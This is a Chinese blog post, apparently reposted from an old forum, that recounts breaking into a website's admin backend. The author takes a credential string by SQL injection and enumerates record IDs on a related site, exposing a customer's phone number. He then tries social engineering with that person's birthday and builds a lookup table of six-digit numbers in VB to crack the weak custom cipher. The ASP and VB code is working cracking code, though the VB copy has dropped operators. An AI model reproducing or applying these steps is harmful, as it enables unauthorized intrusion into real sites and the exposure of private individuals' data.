<!–markdown–>> 说明:本文“某站SQL注入后得到的非MD5加密字串解密过程” 是本个N年前的文章。纯属兴趣爱好研究之用。
当时发表的论坛已经关闭。机缘巧合,自己找到了这个文章,才想起来自己当时还写过这文章哈。
既然现在有博客了,那就在博客上备份一份吧。发布日期特地改成之前的日期。全文附后。
某个网站,SQL注入后,得到如下
管理员用户名: aaaaaa
密码: X[7Y&F8UQjr! (像是加过密的)
直接登录,提示密码不对。基本上是加密过的字串了。
很明显这是非大家经常遇到的MD5加密了。神马查MD5,什么彩虹表,就别想用了。
共12位, 谷歌这个字符串,居然 找到一个页面 也包含了这个字串。
hxxp://www.xxxxxxx.com/jymy1/show.asp?id=618 如图:
f4ck-1.png
把这个id+1 看619的链接 出现 手机号 138400XXXX81
继续+到621,以后ID每加3,就得到一个字串,比如:
RhG”q$UaB-=?
Nqo(&FZV|ixr
看看网站,发现hxxp://www.xxxxxx.com/jymy1/zxdd.asp 是订单提交页面。
而之前那个链接是查看的。显然程序编写者偷懒,只用了一个字段,存储了包括用户名,密码等等信息。
所以每ID加3,又是下一个记录了。
于是想到会不会这2网站都是同一人开发的。用的同一套算法,这里就正好现在这个网站来对加密算法探探底。
本着以前学习软件破解时的思路,尽量多找一些原字符串与加密字符串序列,试图看看能不能看出或者摸索出加密算法。
所以打算就利用这个提交订单工具,多提交几组密码,好好看看它是如何加密的。看看能不能摸出规律。
提交一个abc123 可发现被加密成 >:h7%Kn*(=C+
abc124 被加密成 >:h7%Kn*(=C+
bcd123 被加密成 =?=?TcaGJzYX
abc123 被加密成 >:h7%Kn*(=C+
abc124 被加密成 >:h7%Kn(=C+ –>可能之前记错。 多次发现应该是:LC+:L/|n$O
abc133 被加密成 >:h7%Kn*3k4f
bcd123 被加密成 =?=?TcaGJzYX
abc125 7Y3kYX^Ml/^M
abc124 :LC+:L/|n*$O
abc223 >:h7%K?6PlQj
123456789 被加密成 Qj>:i5&F:LaGYXuyxr
呀的,似乎有点眉目了,6位的加密成12位,9位的加密成18位。
唉,几经研究,异或,循环什么的,还是摸不出规律。
突然想到,这目标网站管理员和这个留言的使用同一密码的家伙会不会就是同一人呢?
那来看看 能不能从 赵先生 下手 社工下试试 上面出现的手机号码 1384003XXX1 有个百度空间,查看资料。
生日是19820507. 试试 820507 吧 加密后是G”!I|0x1tR 对不上。直接到目标站登录,也登录不了。
说明不对。那再试 198257 还有手机号前6位138400, 均无果。。
暂且搁下。过了几天,突然觉得自己真傻,非要搞些不常用的字符来试。什么aaa123啦
发现直接拿123456 加密之后发现是Nqo(&FZV|ixr 再把这个字符串放狗一搜索,马上就出来了,加密函数了。
原来这网上某人写的加密函数,被偷懒得的程序员直接照搬抄用了。代码如下:
[code]
<%
function mistake(preString)
Dim texts
Dim seed
Dim i,length
prestring = trim(preString)
length = len(preString)
seed = length
Randomize(length)
texts = ""
for i = 1 to length
seed = int(94*rnd(-asc(mid(preString,i,1))-seed*asc(right(prestring,1)))+32)
texts = texts & chr(seed) & chr(int(94*rnd(-seed)+32))
next
dim dist
dist=""
for i = 1 to len(texts)
if mid(texts,i,1)<>"'" then
dist=dist+mid(texts,i,1)
end if
next
mistake = dist
end function
%>
[/code]
既然如此,有了加密函数(算法),我就可以构造出字符串加密前后的一个序列(说大点是数据库)
于是准备用程序来做这个事,生成一些弱口令的用这个加密算法加密的字符串。这样再一查找这数据库,说不定就有机会了。
那就用VB写个程序来吧。(个人喜欢用,网上有VB6精简版,小巧又方便,和ASP语言同出一撤)
关键代码如下
Function mistake(preString)
Dim texts
Dim seed
Dim i, length
preString = Trim(preString)
length = Len(preString)
seed = length
Randomize (length)
texts = “”
For i = 1 To length
seed = Int(94 Rnd(-Asc(Mid(preString, i, 1)) – seed Asc(Right(preString, 1))) + 32)
texts = texts & Chr(seed) & Chr(Int(94 * Rnd(-seed) + 32))
Next
Dim dist
dist = “”
For i = 1 To Len(texts)
If Mid(texts, i, 1) <> “‘” Then
dist = dist + Mid(texts, i, 1)
End If
Next
mistake = dist
End Function
Private Sub Command2_Click()
Open “E:database.txt ” For Append As #1
For i = 100000 To 999999
Print #1, Str(i), mistake(Str(i))
Next i
MsgBox (“Done!”)
Close #1
End Sub
说明:该程序利用循环,自动生成从100000到999999所以数字的经加密后对应的字符串。
为什么这里可以这么侥幸呢?因为既然对方之前既然用的字符串加密后,别的网站别人也用。
说明这个密码并不复杂。而以国人用弱口令的习惯,数字通常都是大概率的。
最后打开生成的txt 文件,搜索 X[7Y&F8UQjr! ,居然对应的密码是123123 (怎么之前就没试呢,后悔呀)
f4ck-2.png
好了,到目标站登录后台。成功进入。。
转载请注明:Linc Hu » 网络安全:某站SQL注入后得到的非MD5加密字串解密过程